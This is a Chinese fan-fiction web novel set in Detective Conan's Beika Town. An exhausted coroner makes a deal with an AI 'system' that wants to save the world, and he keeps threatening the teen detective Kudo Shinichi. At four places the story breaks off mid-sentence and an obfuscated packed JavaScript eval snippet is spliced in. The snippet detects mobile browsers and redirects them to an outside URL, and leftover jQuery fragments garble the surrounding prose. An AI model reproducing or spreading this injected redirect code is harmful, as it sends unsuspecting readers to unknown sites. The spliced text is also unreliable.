《米花町的黑泽先生》 1. 米花,米花 深夜,米花町警署。 灯火通明的室内,零零散散的几个警员随意地围坐着,一边吃着泡面,一边聊天。 一般的警署不至于这样热闹到深夜,但米花到底是米花,半小时前才出了一起案子,一部分警员跟着去出警了,剩下的几位也不好懈怠,在警署“自愿”加班。 毕竟一晚上两个案子的事不是没有发生过。 不过到底没有上司在场,大家们还是比较随意的,正巧几人中有位刚来米花的新人,大家便自然地聊起了署里的人事。 “目暮警部确实是警视厅搜查一课的,不过他现在基本上已经算是长在米花了吧?”身材高大的山下这样说着,“如果哪天他突然不在,我才会比较奇怪啊。” “没办法,”他身边的长谷川笑道,“如果每次有案件都要从警视厅跑过来的话,实在是不太方便啊!” 这话引起了周围同僚们的一阵笑声,身在米花,很容易让人失去对案件的敬畏之心。 “虽然米花好像案子确实比较多……”作为新人的青木还是有些难以相信,“但有到这个地步吗?” 这天真的发言让几个前辈都露出了微妙的神色,山下叹了口气,拍拍他的肩膀:“青木君呐,虽然不知道你是怎么被分配到米花的,但是既然来了这里,就做好觉悟吧!” “这里,可不是那种能悠闲度日的地方啊!” 几分钟后,青木朝阳出门上厕所,脑子里还回荡着前辈们那像是在危言耸听的发言。 “说什么‘仿佛被诅咒了’……有这么夸张吗……”小警员这样嘀咕着,心里却也难免有点不安。 他刚来报到三天,之前对米花可谓一无所知,这三天倒确实不轻松,可刚开始工作的人,在哪都不会轻松的吧…… 青木安慰着自己,推开门回到走廊,突然感觉眼前飘过什么东西。 他心中一惊,几乎是下意识地猛然转头,只见到一缕银色长发在黑暗中拂过。 顺着那个方向望过去,出现在视线当中的,是个一身白衣的背影。 “咦……?” 青木还没回过神来,只是本能地发出了一点疑惑的声音。 他面前的那个身影似乎听到了响动,停下脚步,转头望过来一眼。 只一眼,青木的大脑瞬间空白,被震得僵在原地,当他终于从震撼中恢复过来的时候,对方已经消失了。 是个男人? 青木茫然地呆立在走廊上:他是谁?为什么会在这里? 他努力回忆着男人回眸的瞬间,却发现自己根本想不起对方的长相,也完全不记得之后他走向了哪里,脑海中唯一留下的,只有那双幽暗的绿色眸子。 纯粹而冰冷,像是没有丝毫杂质的玉,在黑暗的走廊里仿佛闪着微光。 那是种将一切都视若无物的眼神,显示出彻底的冷漠和残酷,在亲眼见到之前,青木甚至不敢相信那是人类会有的眼神。 警局里怎么会有这么一个人在……等会,刚刚那个人走路时根本没有声音啊!? 这念头一起,青木顿时感觉一股凉意从头到脚浸透全身,他不管怎么努力回想,也实在想不起那人到底有没有脚了,一时间顾不得其他,连滚带爬地向着办公室的方向冲去。 前辈们,救救我啊——!!! “你说的……是黑泽医生吧?” 面对惊慌失措,语无伦次的后辈,前辈们先是面面相觑了几秒钟,随后神态各异地看向他,给的答案倒很一致。 “他刚刚过来拿了点吃的,”长谷川看着有点无语,“回去路上刚好遇见你了?没打招呼是正常的,黑泽医生不太喜欢说话,啊他那个工作也确实不太可能会喜欢说话啦。” “……医生?”青木惊魂未定,口中喃喃,很明显对长谷川这一大串话理解不能。 山下安抚地拍了拍他,解释道:“黑泽医生是咱们这的法医,必不可少的存在啊,你会觉得他看起来可怕,可能是因为……又加班了吧。” 他低头算了算:“黑泽医生是不是已经连续加班三天了?要是我像他这么工作,怨气也能冲破警署。” “黑泽医生真的有下班过吗,”中村一边吃着薯片一边说,“我觉得他快要猝死了。” “那可能真的会变成米花警署的怨灵。”长谷川吐槽。 米花町常住人口三十余万,人口流动量则有数倍,米花警署下辖警员五百余人,另有十余位搜查一课成员长期驻扎,以这样的警力,才能在维持日常治安的前提下,堪堪应付这里层出不穷的恶性案件。 而米花町的全职法医,只有一个人。 事实上这已经算是特例,日本的法医本来就很少,其中更有很多是兼职,米花町地处东京,法医资源本应由警视厅调配。 但米花毕竟是米花,以此地的犯罪率和恶性案件比例,要是全靠警视厅,整个东京的法医资源都得紧缺。 而如果没有专职法医,米花医院可能都要面临人才流失的窘境。 既然如此,苦大家不如苦一人,全日本工资最高流动性最强的法医岗位就此诞生。 如果说法医是日本医生中的底层,那么米花的法医就是底层中的底层,凡是不幸被“发配”此地的法医,无不用尽各种手段逃离,能干上三个月的都少见,甚至一度诞生了某些奇怪的诅咒传说。 直到三年前,伴随着黑泽医生的到来,这一现象才终于得以终结。 一开始大家都觉得,黑泽医生作为归国高材生,会来米花町这种法医噩梦地,只是因为不了解本地就业环境,被忽悠了,以他的背景,不出一个月就得跑路。 但很快的,他就以流水线般稳定迅速的工作水平征服了警署上下。 当时署长甚至特地去神社求签,祈求这位黑泽医生千万不要步他前辈们的后尘。 不知是否因为神社“大吉”的神力,往后三年间,黑泽医生果真一直没有表现出任何离开的想法,而且身体健康精力旺盛,大有在米花工作到死的倾向。 这么一位神仙,大家自然只有供着的份,至于黑泽先生的脾气差点——那是应该的。 任谁一整年从头加班到尾,脾气都不可能好,黑泽医生没有冲出去报复社会,已经足以证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716741|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明他是个感动米花的好人。 “更何况,就算黑泽医生真的要动手,大概也会先冲着工藤新一去吧,”长谷川笑道,“我们不在他眼里的啦。” 前辈们又是一阵心照不宣的笑,青木有些茫然:“工藤新一,是那个‘日本警察的救世主’吗?” “哎呀,青木!”山下用手肘推了他一下,“报纸上乱说也就罢了,咱们警局内部,就不要长别人威风了啊!说到底,不过是个高中生罢了。” “啊,是,是!”青木连忙点头。 “可是,”他小声道,“我还以为他和警视厅的关系不错?” 怎么说得那位法医先生是要杀人一样。 “工藤新一倒是给目暮警官帮了不少忙,”长谷川笑嘻嘻地说道,“但对黑泽医生来说就只有麻烦而已。” “其实应该是黑泽医生神经过敏吧,”中村无奈道,“虽然工藤新一确实经常出现在案发现场,但没有任何证据表明,这些案件和他有关啊。” 青木听得一脸茫然:“这是说……?” “黑泽医生认定了,只要解决掉工藤新一,米花的犯罪率就会下降,”长谷川耸了耸肩,“上周我还听到他和目暮警官说把工藤新一抓起来试试。” “毕竟和工藤新一有关的,基本上都是需要司法解剖的恶性案件,”山下叹了口气,“虽然我也不觉得那个高中生有这种能耐,但黑泽医生有个发泄的对象也好,总归……他又不会真的去杀了工藤新一。” “所以,不行?” 解剖室里,法医先生眉目低垂,正在解剖尸体。 他并没有开口,只是在脑海中浮起这样的话语,一个声音便幻觉般的在大脑里响起来。 “不行啊,”这个带着电子音的声音说,“我这里是有一些能帮助杀人的道具,但是工藤新一他……这个……总之,不能杀啦!” “这么说,”黑泽阵停下刀,“你不是我的幻觉啊。” “什么叫‘幻觉’啊!”那个声音听起来很激动,“我可是科技远超你们这个世界的系统!是专程赶来拯救世界的!你竟然以为我是幻觉!” 黑泽阵皱了皱眉:“还不如幻觉有用。” 至少幻觉不会碍着他杀人。 自称“系统”的玩意尴尬地沉默了一会儿,换了个劝说方向:“说实在的,现在已经来不及了,要是我们不赶快行动,后天……啊不,明天这个世界就要毁灭了,要不咱们先行动起来,等这个危机结束,再谈其他?” 黑泽阵挑了挑眉,干脆放下手中的刀,他一边活动身体,一边慢悠悠地说道:“我刚刚连续工作了两天。” 系统:“呃我知道你很忙……” 黑泽阵:“这具之后还有一具尸体在路上。” 系统:“只要一点时间……” 黑泽阵:“而且还差三篇……五篇验尸报告没写,其中两篇已经拖了一周。” 系统:“也许……” 黑泽阵:“所以,你为什么会认为,我在意世界末日?” 静默。 法医先生低头,重新拿起解剖刀。 2. 拯救世界 几分钟前,正在切割尸体的黑泽先生脑子里突然响起一个咋咋呼呼的声音,嚷嚷着世界快毁灭了。 陌生的,不辨男女的声音,还带点电子音,非常可疑。 黑泽阵的第一反应是自己幻听了,但他加班至此,幻不幻听的已经不重要,随口便道:“世界毁灭?太好了,毁灭吧。” “……” 在一阵静默过后,那个声音又响起来,开始碎碎念一些死者复生、时光回溯之类的话,听着怪耳熟的。 黑泽阵想起自己还没写的三份验尸报告,打断它道:“那你会写验尸报告吗?” 这个声音竟然还没消失,还很认真地表示,它可以在宿主解剖的过程中提供指导,并将得到的信息生成报告——但需要宿主自己写出来,因为它“不能直接干涉现实”。 明明是个幻觉,听起来却挺符合逻辑,而且毫无用处,他难道是不会写报告吗,缺的不就是这写字的时间吗? 黑泽阵话锋一转,干脆问它能不能帮自己干掉工藤新一。 幻觉不符合逻辑地拒绝了,黑泽医生终于意识到自己遇到了灵异事件。 但灵异事件——尤其是无法帮助工作的灵异事件——并不能动摇正在加班的社畜,黑泽医生用一句话堵住这个“系统”之后,镇定自若地继续工作,总算将这具尸体解剖完。 其间不甘心的系统还小声念叨了几句“你就没有什么特别重要的人或者东西吗?”,“我其实很强的……只要你和我一起拯救世界,什么愿望都能实现哦!”之类的话,全被“验尸报告”和“工藤新一”堵回去了。 等到尸体解剖完毕,系统已经有点哑火了,而黑泽医生想到自己还没写的四份和即将到来的一份验尸报告,心情也很沉重。 正在此时—— “我答应了!” 系统的声音突然响起,比起之前,它的语气明显透出一种格外的坚定,似乎是下定了决心。 黑泽医生有些惊讶:“干掉工藤新一?” “是验尸报告啊!”系统又气急败坏起来,“工藤新一不行的!” 这一点它倒是很坚持。 黑泽阵没太失望,有个自动写报告机器也不错:“你不是说,不能直接干涉现实?” “一般是不行的,”系统无奈地说,“不过,我可以想想办法,付出一点代价……” 它显得有些沮丧:“而且,以我的科技,要介入这个世界的机械,总归方便一点……你的验尸报告不至于还需要手写吧?” “可以打印,”黑泽阵点头,“我签字就行。” “那就没问题,”系统似乎松了口气,“我可以控制一台电脑,不能更多了,只是在电脑内的话,应该不至于会出太大的问题……” 听它的话音,这个自称“超级科技”的玩意,能做到的事情却是出乎意料的少,甚至都没法在网络世界里自由行动,大约真的受到了相当程度的限制:“至于验尸报告本身……可以按照你的指示生成,也可以我自己写。” 黑泽阵想了想:“听起来还不错。” “是吧?我就说我还是很强的!”系统没有为“高级智能沦为打字工具”这种事情沮丧多久,很快又充满活力地说道,“现在我们可以去拯救世界了吧?” “别急,”黑泽医生摘下手套,走出解剖室,“你忘了,我还有一具尸体要解剖。” “不过,在它还没来之前,你可以先告诉我,为了拯救世界,需要我做什么。” 系统并未意识到黑泽阵其实什么都没答应的事实,它虽然显得很急切,但听对方这么一说,倒也没再催促,老老实实地介绍起来。 “我自带警报装置,能提前一段时间预知将会发生的灾难——也就是世界末日,”它说道,“同时我也能检测到最容易阻止灾难发生的地点,你只需要赶到地方,借助系统商城里的道具阻止它就行。” 黑泽阵走进他位于不远处的办公室,坐到一旁的躺椅上,微微合上眼:“商城?” 他的眼前立刻出现了一个泛着微光的弹窗。 “系统商城里的道具很丰富的!”系统热情地介绍道,“购买需要积分,虽然你现在没有,但我们可以贷款,只要完成第一个任务,马上就能赚回来,我们是在拯救世界,积分可多了!” “至于多余的积分,你想换什么道具都行,”它让商城里的道具滚动起来,“什么都能做到哦,复活几个人都不在话下!” 医生望着那些千奇百怪的道具,神情变得有些微妙:“是么。” “嗯嗯,”系统继续说道,“你也不用担心失败,我配备了最先进的指导装置,能分析出当前所需的道具,如果你不知道该怎么做的话,跟着我的指导走就行!” 黑泽阵的神情更微妙了。 “这么说,”他略带嘲讽地说,“世界末日还不止一次?” “呃,之间应该会有一定时间的间隔,不会太忙的,”系统有点尴尬,“只要处理掉,也不会对这个世界造成什么影响。” “拯救世界”这种事情被说得像是什么日常任务,黑泽阵叹了口气,让系统把还在闪的商城界面关掉。 “听起来,你像是来做慈善的。”他说。 “毕竟我们是在拯救世界啊!”系统倒是不觉得有什么问题,“我可不是那种绑架别人不给好处的统,那都是你应得的!” “这么说,你也有自己的报酬?”医生笑了笑。 “唔,我的报酬和你不太一样啦。”系统虽然没有具体解释,但算是承认了。 “我明白了。”黑泽阵点点头,听到门外传来的响动,知道自己短暂的休息宣告结束。 医生从躺椅上起身,向外走去:“不过,我只需要验尸报告就够了。” “哎?可是……”系统的声音戛然而止,因为医生抬起戴着手套的手,做了个噤声的手势。 “如果还能干掉工藤新一,那就另当别论,”黑泽先生继续进行脑内对话,他的话语依然十分冷静,“至于现在,既然你只能给我这点报酬,我能给你的也不会很多。” 他走向解剖室,迎接新的尸体,同时在脑海中对系统说:“我可以去你指定的地方——前提是你为我节省出来的时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716742|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足够——但随后的行动,都靠你自己。” 系统:“啊?” “等会,宿主,我只是个系统啊!”它崩溃道,“要是我自己就能做到,就不需要寻找宿主了呀!” “你有指导装置,能使用商城,还可以贷款,”黑泽阵十分镇定,“我看不出你有哪里需要我的,除了你在我脑子里,没法移动这件事。” 系统再度静默了。 黑泽阵检查完尸体状况,拿起刀准备开始解剖的时候,系统才再次出声,电子音滋滋啦啦,很有点恍惚。 “……好,就这么做,”它不太确定地说,“每次使用的道具由我选择和运用,不过积分是你的,所以用的时候需要你配合许可。还有某些道具可能需要一些行动上的辅助,但不会太麻烦的。” “附加条款可以到时候再说,”黑泽阵没怎么纠结,“现在,你需要观摩我的解剖过程,以此为素材写一份验尸报告,只有你的成果让我满意,我们的交易才算成立。” 系统此时已经丧失了惊诧和反对的力气,它的声音头一次这么没有人气:“好的,宿主,希望我们合作愉快。” 黑泽先生的工作在清晨的六点结束。 系统连着写了五份验尸报告,在黑泽阵的指导下反复修改,到第五份的时候,才终于一版便得到他的认可。 “你的学习能力很强。”医生一边收拾东西,一边说道。 即便是在单独的室内,他还是没有出声说话,因此房间里十分安静。 “我可是最强的AI……”系统连夸赞自己的话都说得有气无力,但下一秒它便反应过来了,“这是不是说明我们的交易成立了?!” 黑泽医生露出一抹轻笑:“确实,——这个电脑好用吗?” “虽然落后了点,但还算顺手……”系统说到一半,再次猛地反应过来,“等会,现在我们总该去拯救世界了吧!” 医生看了眼表:“我快五十个小时没完整睡过了。” 这话一出,系统顿时有点芯虚——它不得不承认,自己忘了。 实在它的宿主表现得太过自然,不仅没有一点困倦之意,甚至还能一边解剖尸体一边脑内审查验尸报告,完全不像是几十个小时没正常睡眠的人。 就连他说这句话的时候,都有种过分的镇定,令人怀疑哪怕世界末日当面,他也不会有丝毫动摇。 ——哦,眼下就是哈。 可哪怕世界末日当面,逼一个五十小时没睡的人去拯救世界似乎也不是很道德,系统动摇了:“这……你休息一下……可是灾难真的今天就要来了,我怕来不及啊。” 它十分纠结,而黑泽先生果然很镇定:“你能等我到现在,想必要去的地方离这里不远?” “地方倒是很近,就在米花,”系统老实地回答,“不过在我的预知里,灾难到来的时间就在今晚,我们拯救世界的最佳时间点也是,这是一点都拖延不了的。” 黑泽阵点点头,那张冷淡的脸上依然看不出一丝紧张的意味:“那就没问题,我先睡一觉,不用担心拖延,新的案子会叫醒我的。” 3. 工藤 办公室里有个小而完善的洗漱间,系统就这么看着黑泽医生有条不紊地极速冲澡,换好衣服,从头上拆下五个夹子三个发圈,然后躺在办公室里的单人床上秒睡。 为什么感觉他比我还像个人工智能…… 它惆怅地想。 但应对意外的能力大概也是人类的特性之一,至少它自己在面对今天的意外时,表现得就完全没有宿主来得游刃有余。 ……这种情况下很难游刃有余吧。 而且虽然不知道为什么宿主会在这里当法医,但他毕竟不是一般人,自己不如他也很正常吧。 系统迅速地安抚好了自己,开始纠结究竟在什么时候叫宿主起床比较合适。 自然,一切又如黑泽先生所料,系统并没有机会叫他起床,新的案子在五个小时后降临,黑泽医生又展示了米花法医的另一项必备素养,秒醒。 “没问题,我在,”他对着电话镇定地说,完全听不出刚才还在睡觉,“把尸体送过来,报告今天就能出——只有一名死者吧?” “是的是的,”电话那头的警员十分殷勤,“我们已经在路上了,大约十分钟之后到。” “直接送到解剖室。”黑泽阵挂掉电话,迅速地开始换衣服,系统纠结了一会儿,才小心地说道:“宿主,今晚……来得及吧?” 正在绑头发的黑泽先生动作一顿,语气有点惆怅:“真不是幻觉啊。” 系统一点不为自己终于感知到宿主的情绪变化而高兴。 “都说了我可是来拯救世界的啊!”它开始为自己之前下定的决心而悲痛了,“就今天晚上!世界要毁灭了!是真的啊!” 黑泽阵很轻地笑了声:“知道了,我记得。” 短短五个小时的睡眠对这个人来说好像就很有用了,当他并不吝惜地展现出情绪的波动时,系统才有些惊诧地意识到,黑泽先生之前那种过分的镇定,很可能有一部分是来源于缺乏睡眠造成的感知失调。 但什么人会只失调情感控制部分,却可以毫无障碍地工作啊!先天打工人圣体吗! “……我会帮忙写报告的,”系统看着宿主走进解剖室,半晌,无奈地说,“确定赶得上吧?” 黑泽阵点点头,将工具摆放到手边。 “对了,”他随口说道,“我们要去的地址是哪里?” “米花町2丁目21番地。”系统立刻回答。 门外警员们运送尸体的声响终结了室内的安静。 黑泽阵无声地叹了口气,他转身示意警员把尸体送进来,一边在脑内对系统道:“工藤新一?这很晦气。” “也没有那么……”系统再次后知后觉,“你竟然知道工藤家的地址啊?” 被这样问的黑泽医生脸色肉眼可见的变差了,以至于正在摆放尸体的工作人员不由地更加紧张,差点让尸体滑下去。 黑泽阵抬手扶了一把,然后挥手让人离开。 他拿起放在一边的现场报告,比较好运的是,这具尸体的身份和死因都很明确,因而不需要司法解剖,只要检查一遍就行。 “记得报告。”他对系统说道。 “好的好的。”系统迅速在后台跟进验尸报告,表现得非常熟练,但它的思维显然还比较迟滞,几秒钟之后,才重新续上最初的话题:“哦,确实是工藤家来着。” “这次比较特殊……”它生怕对方这时候撂挑子不干,飞快地说道,“我向你保证以后不会有这么具体的地点了,而且肯定不会再有别人家了!实在麻烦的话你不进去也行,大不了我多贷点积分,不用强闯民宅的!” 黑泽医生挑眉:“你为什么会觉得我要强闯民宅?” 系统忙道:“没有要让你强闯的意思啦!虽然进屋会更好,但门口也行的……” 黑泽阵叹了口气,打断它的话:“所以说,我就不能直接去拜访他吗?” 真是……诡异,这玩意分明对“这个世界”有一定的了解,甚至对工藤新一有种格外的关注,但在某些细节上,又无知得可笑,它到底是个什么玩意? 系统愣了愣:“对哦,你可以直接……这么说你们认识的啊?” 黑泽阵都有点无奈了。 “我是米花的法医,”他这话说的有种咬牙切齿的意味,“你说他认不认识我?” “是哦,我都忘了,”系统一副恍然大悟的样子,“这样一想,你们是不是还挺熟的?” 黑泽医生冷哼一声,没有接话。 系统倒是不觉得尴尬,很自然地继续说道:“要是你们熟的话,最好能让工藤新一今晚也留在家里,那样可能会更顺利一点。” 工藤这小子在它眼中还真是很重要,黑泽阵略带嘲弄地笑了声:“他的尸体也可以?” “当然要是活人啦!”系统居然表现得很震惊,“所以你是真想杀他啊?” 它会这样说,让黑泽阵一时也很疑惑:“我哪里表现得不像是真心了?” “我还以为只是你之前加班加的想要报复世界……”系统小声嘀咕,很担心对方想要世界毁灭也是真心的,“你现在都不是……你为什么想杀他啊?” 黑泽阵依然没有对它的失言发表什么看法,只是冷笑:“我是米花町的法医,你说我为什么想杀他?” 系统:“……懂。” 它无法继续围绕“干掉工藤新一”这事发表意见了,赶紧继续拯救世界的话题:“总之,最好的情况就是你们两个都在他家里……都活着,其余的部分我来操作就行,不过事件的时间目前还不太能明确,今晚到明天凌晨都有可能。” “那还挺有挑战性的,”黑泽医生表示,“也就是说,米花町今晚不能发生命案。” 系统:“……” 拯救个世界怎么就这么难呢! 好在,有些队友就算是不想做任务,也总能给予十分有效的支持,短暂的沉默过后,黑泽阵笑了笑:“也不是不行,我正好有个想法。” 当天傍晚,平成(令和)年代的福尔摩斯,著名的高中生侦探工藤新一,被堵在了自家门口。 说“堵门”或许有些夸张,毕竟工藤家那个大门没两米宽根本堵不上,但有些人就是有那种气场,往那一站万夫莫开的。 要换上身黑衣服,就是标准的□□大哥上门讨债。 当然,就算是白衣服,也只是不那么标准的□□大哥上门讨债。 黑泽先生仗着身高腿长气场逼人,白大褂穿得像是白风衣,把面前的高中生衬得弱小可怜又无助,工藤新一满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716743|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸无奈,不知自己又怎么惹到这位法医先生了:“黑泽医生,我今晚还有事要出门,有什么问题可以明天再说嘛。” 他也不知道该不该让人进屋聊——再拖下去自己肯定会迟到,但这么堵在门口,说不定明天就会传出自己借高利贷的流言。 “这几天我都没遇上什么案子,”高中生侦探决定再努力一下,“上一次还是目暮警官找我去帮忙的,你不能算在我头上吧!” 清醒一点啊大佬! 在如今的米花警界,“法医忙疯了试图猎杀侦探”的怪谈不绝于耳,以至于很少有人能意识到,一开始黑泽阵和工藤新一的关系其实还可以。 毕竟对一个忙碌的法医来说,有个能帮忙现场验尸减少工作量的侦探不算什么坏事。 工藤新一与案件的缘分颇为久远,但从一年前开始,这位侦探才真正的活跃起来,也是在那之后和黑泽医生熟悉起来的。 为了寻找线索,工藤新一经常会和专业人士有交流,最开始的时候,黑泽医生甚至偶尔会和侦探讨论几句案情。 法医先生的脑子比大部分警察好使多了,而且和侦探一样有种面对凶案临危不乱的冷静,若非经常出现没几分钟就带着尸体离开,和工藤新一的交流还会更多。 即使如此,他们仍然算得上熟悉,而且对彼此的感官都还不错。 直到工藤新一出现在案发现场的次数越来越多。 在警界内部的恐怖传说流传开来,以及黑泽医生开始发表“或许工藤新一死了米花的犯罪率就能变得正常”的可怕言论之前,工藤新一本人就已经意识到,法医先生看自己的眼神在和看工作对象趋同。 他早就怀疑黑泽先生想把自己当尸体切了。 侦探对此非常无奈,他还没到体验社畜生活的年纪,没法有警署的成员们那样的共情,但也强烈地体会到了无休止的工作对人的摧残——黑泽医生脑子都开始不正常了啊! 眼睁睁地看着一个行事果决思维灵活的医生变成玄学信徒,令彻底的唯物主义者工藤同学十分心痛。 确实,只有心痛,没有恐惧,工藤新一和大多数人一样,并不认为黑泽医生真的想杀人。 在米花町待久了,大家都形成了思维定式,杀人是要有手法的,最开始被嚷嚷着要动手的那个一定不是犯人……不是。 以黑泽医生的工作强度,根本没空去杀人……不是。 至少目前为止米花町还没有出现过这么离谱的杀人理由……也不是。 最根本的原因,大约还是长期相处带来的信任。 说到底,黑泽医生固然对工藤新一本人态度糟糕,也发表过一些奇谈怪论,但大家对他最深刻的印象,还是兢兢业业工作的模范法医。 他的验尸结果从来没有出过问题,速度也快得惊人,更没有因为个人喜好影响过任何一个案子,哪怕在他想把工藤新一切开的时候,也还是会为后者出现的每一场案子提供最精准的尸检信息。 当他的可靠形象深入人心之时,那些听着就离谱的杀人言论也就只是言论而已。 工藤新一觉得,自己走在大街上被人打一闷棍的概率,比被黑泽医生干掉的概率高多了。 ……然而,被法医堵门的概率也不是很高吧。 4. 死神正在苏醒 很久……也没有很久,差不多半年以前,工藤新一都还挺高兴在案发现场见到黑泽医生的。 一个能力出色法医意味着更准确的信息,一个思维敏锐的同行者则意味着能讨论案情,这都让侦探感到期待。 再之后,情况就变得诡异起来了,黑泽医生每次出现在案发现场的时候都来去匆匆一身寒气,工藤新一只知道对方的眼神越来越冷,一副不想和自己呼吸同一片空气的样子。 就像现在一样。 年轻侦探仰头看着面前的男人,不知道是他本身就气势迫人,还是真的打算揍自己一顿泄愤,总觉得医生看着比之前更有压迫力了,简直比□□大佬还大佬…… 所以到底为什么会这么讨厌我啊? 他们见面的机会本就不多,几乎都在案发现场,工藤新一忙着破案,黑泽医生则更是忙得多,半年时间过去,整个米花警署都知道黑泽医生仇视工藤新一,侦探本人愣是没搞明白对方将自己视作“罪魁祸首”的具体因由。 就算是玄学……那也得有个由头吧?他遇到案件的频率是高一点,但米花本来案子就很多啊! 自从黑泽先生越来越忙,在案发现场见到对方的机会都少多了,工藤新一确实没什么机会尝试了解对方的想法。 这样说来,这场堵门虽然来得猝不及防,但或许,反倒是个交流的好机会? 如果黑泽先生的理智还健在的话……不知道他这周加了多久的班。 能让工藤新一如此冷静地思考这些事情,其实多少已经证明,虽然气质和行为上都很像是上门催债,但黑泽阵并不是真打算揍他。 他单纯是看工藤新一没法有好脸色。 法医先生顶着一张要杀人的脸,实际上也真的想要杀人,但说话的语气却很平静:“你今晚有事?” “哦,就是有个富豪邀请我去他家里参加聚会……”被堵门的工藤新一心态调整得很快,“真的快迟到了,黑泽医生你要是有事,要不路上说?一起去也行啊。” “富豪,聚会啊……”黑泽阵嘴角勾了勾,硬是笑出了种危险的意味,“听起来,我今晚又要加班了。” “这,怎么会呢,”工藤新一听出他的言外之意,无奈道,“今天肯定不会出事的。” 他虽然这样说着,但总还有种莫名的心虚,故而又补充了一句:“就算真的出事,肯定也不会是因为我……” 不得不说,因为黑泽医生深重的怨念,原本只会因为遇到案子而兴奋的工藤新一,现在偶尔也会生出些“我遇到的案子是不是太多了”的犹疑。 但他依然深信那只是巧合而已! 医生又笑了声,语气凉凉的:“那就证明它。” 几分钟后。 “是,是,真不好意思,百川先生,下次有机会一定拜访,嗯嗯,好的,那么再见。” 工藤新一挂掉电话,转头看向坐在自家沙发上,双手抱胸,镇定自若的男人,叹气道:“黑泽医生……” “三分之一。”黑泽阵打断道。 银发男人看着面前的侦探,平静地说:“我收到的尸体中,有三分之一是由你初步检验的。” 这是个一般人根本想不到要去统计的数据,听着都有点荒唐,但从黑泽阵口中说出来,却有种很有分量的感觉。 也许因为他是米花町的法医吧。 工藤新一没再说话,等待着对方的后文,他发现自己的直觉没错,今天确实是个交流的机会。 ……至少能知道黑泽医生为什么揪着自己不放了。 “我看过其他区的资料,”黑泽阵继续说,“如果去掉那些与你有关的案子,那么米花町的恶性犯罪率就几乎和其他地区持平了。” “几乎,但不是完全,对吧?”侦探迅速地找到了数据的漏洞,“据我所知,在我还没出生的时候,米花町的犯罪率就比其他地方高一些。” “确实如此,”黑泽先生承认道,“事实上,近十年来,米花町的犯罪率是逐年上升的。” 工藤新一本想说什么,但被对方接下来的话打断:“也是因此,在我来这里之前,米花町就已经是著名的治安问题地区。” “但是,另一个数据是,一年前,你,工藤新一,作为侦探声名鹊起,”黑泽阵对年轻人笑了笑,“与此同时,案件的增速翻了两番,甚至地下交易市场中的犯案工具交易都变得空前繁荣。” 工藤新一还真没查过米花町的案件增速,更无从得知地下交易走向,这导致他没有立场质疑对方的数据,一时竟有些哑口无言。 他本来以为黑泽先生只是被加班逼得有点疯了——怎么现在对方竟然在用数据说话啊! 好在侦探的脑子转得还是很快的:“两件事同时发生,并不代表其中有因果关系。” “你当然可以这么说,”黑泽阵点头,“但我也可以怀疑,而且,我自认为有充足的理由。” 比起纯粹的发疯,这种过分冷静的态度让人更觉棘手,或者该说疯到一定程度反而不像是疯子了? 要不是知道自己什么都没做,工藤新一都要被对方说服了。 他无奈地叹了口气:“所以在您眼中我到底是什么人啊。” 侦探眼前的疯子却镇定得像个真正的预言家。 “操纵案件的天才罪犯……”黑泽阵的脸上带着似有若无的微笑,目光锁定在侦探身上,“或者行走的死神,都有可能。” “……我不知道你还信宗教。”工藤新一被他这要疯不疯的样子搞得有点紧张,转过身去拿热水壶倒茶。 “我不信,所以比较推崇前者。”黑泽阵耸肩。 侦探将茶水放到医生面前,然后坐到一旁的沙发上,注意到对方依然盯着自己看。 “但是?”他有点无奈地接话。 “但是,我又觉得你是个好人,”黑泽医生转过头对他微笑,眸光里透着探究,“所以不得不给后者一点机会。” 工藤新一怔了怔,一时间不知是否该为这份来自疯子的沉重信任感动——好吧,看黑泽先生这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716744|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个样子,还真不是一句“疯子”可以概括的。 “那真的与我无关,”他叹了口气,“我只是刚巧……出现在案发现场,如果这一切真的与我有关的话,我反而不应该每次都出现,不是吗?” 要是在几分钟前告诉工藤新一,他需要用这种逻辑来解释自己不是什么愉悦犯,他只会觉得搞笑,可是现在他有种不能不说的感觉。 